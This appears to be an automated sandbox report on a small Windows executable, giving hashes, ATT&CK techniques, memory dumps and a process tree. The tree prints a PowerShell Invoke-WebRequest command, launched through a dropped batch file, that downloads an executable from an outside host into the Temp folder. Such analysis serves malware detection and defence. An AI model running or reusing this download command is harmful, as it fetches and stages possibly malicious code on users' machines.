51aa38810bf2c2f6f08eee6a75809543e78dc241a4587a8d0a0b0a76883be58a

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
26/08/2024, 01:20

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General

Target

20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe
Size

6KB
MD5

01846777e9d687771f28a1df5797b151
SHA1

4ede6b7ebee249b6cb241d1fb4b23f79d9aeca12
SHA256

51aa38810bf2c2f6f08eee6a75809543e78dc241a4587a8d0a0b0a76883be58a
SHA512

9e189c2ec6fbe481e4c3c6b3f0c5a648dcebd1779d70d938f9d193e157fcbe5c092ba438a662837fb1473bbf7e89bea3efc4c289d3d36130e7c37719834c8927
SSDEEP

48:0Pzuz3/foXeYDjyaAYqMettsQSaJiTi8xLEcztPLb3b3vr5vEuu6P+65I6rbJu:0P67TeuaABBDSyst9pvr51V+65vu

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1424 wrote to memory of 2700	1424	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	32
PID 1424 wrote to memory of 2700	1424	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	32
PID 1424 wrote to memory of 2700	1424	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	32
PID 1424 wrote to memory of 2700	1424	20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe	32
PID 2700 wrote to memory of 2760	2700	cmd.exe	33
PID 2700 wrote to memory of 2760	2700	cmd.exe	33
PID 2700 wrote to memory of 2760	2700	cmd.exe	33
PID 2700 wrote to memory of 2760	2700	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe
"C:\Users\Admin\AppData\Local\Temp\20240826-1019_f53c60f1bc01c38d6ea6284d6c2bfc23.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1424
- C:\Windows\SysWOW64\cmd.exe
  /c ""C:\Users\Admin\AppData\Local\Temp\259452142.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Invoke-WebRequest -Uri https://d.kuku.lu/pzdpx22ew -OutFile C:\Users\Admin\AppData\Local\Temp\example.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\259452142.bat

Filesize
267B

MD5
e935a45a7b718a715580e8ce15b12171

SHA1
ce4a1affe0076f8dd33793986c67a17dd3b74556

SHA256
76a0521bce7829098c7332ea262765db1d10203fbccfd2ded167700a3eb8d15d

SHA512
1f57509a300893384bc71cb4b973177838f5aea12010101df89d1fa97995a91635b2fcf756a76a22e41189dd2c03445b3f930568461f787ed6c17eb2930a36e4

Download Submit
memory/1424-25-0x0000000000400000-0x0000000000407000-memory.dmp

Filesize
28KB

Download
memory/2700-20-0x00000000007C0000-0x00000000007C1000-memory.dmp

Filesize
4KB

Download
memory/2700-26-0x00000000007C0000-0x00000000007C1000-memory.dmp

Filesize
4KB

Download
memory/2760-4-0x0000000073E71000-0x0000000073E72000-memory.dmp

Filesize
4KB

Download
memory/2760-6-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-5-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-8-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-7-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-9-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download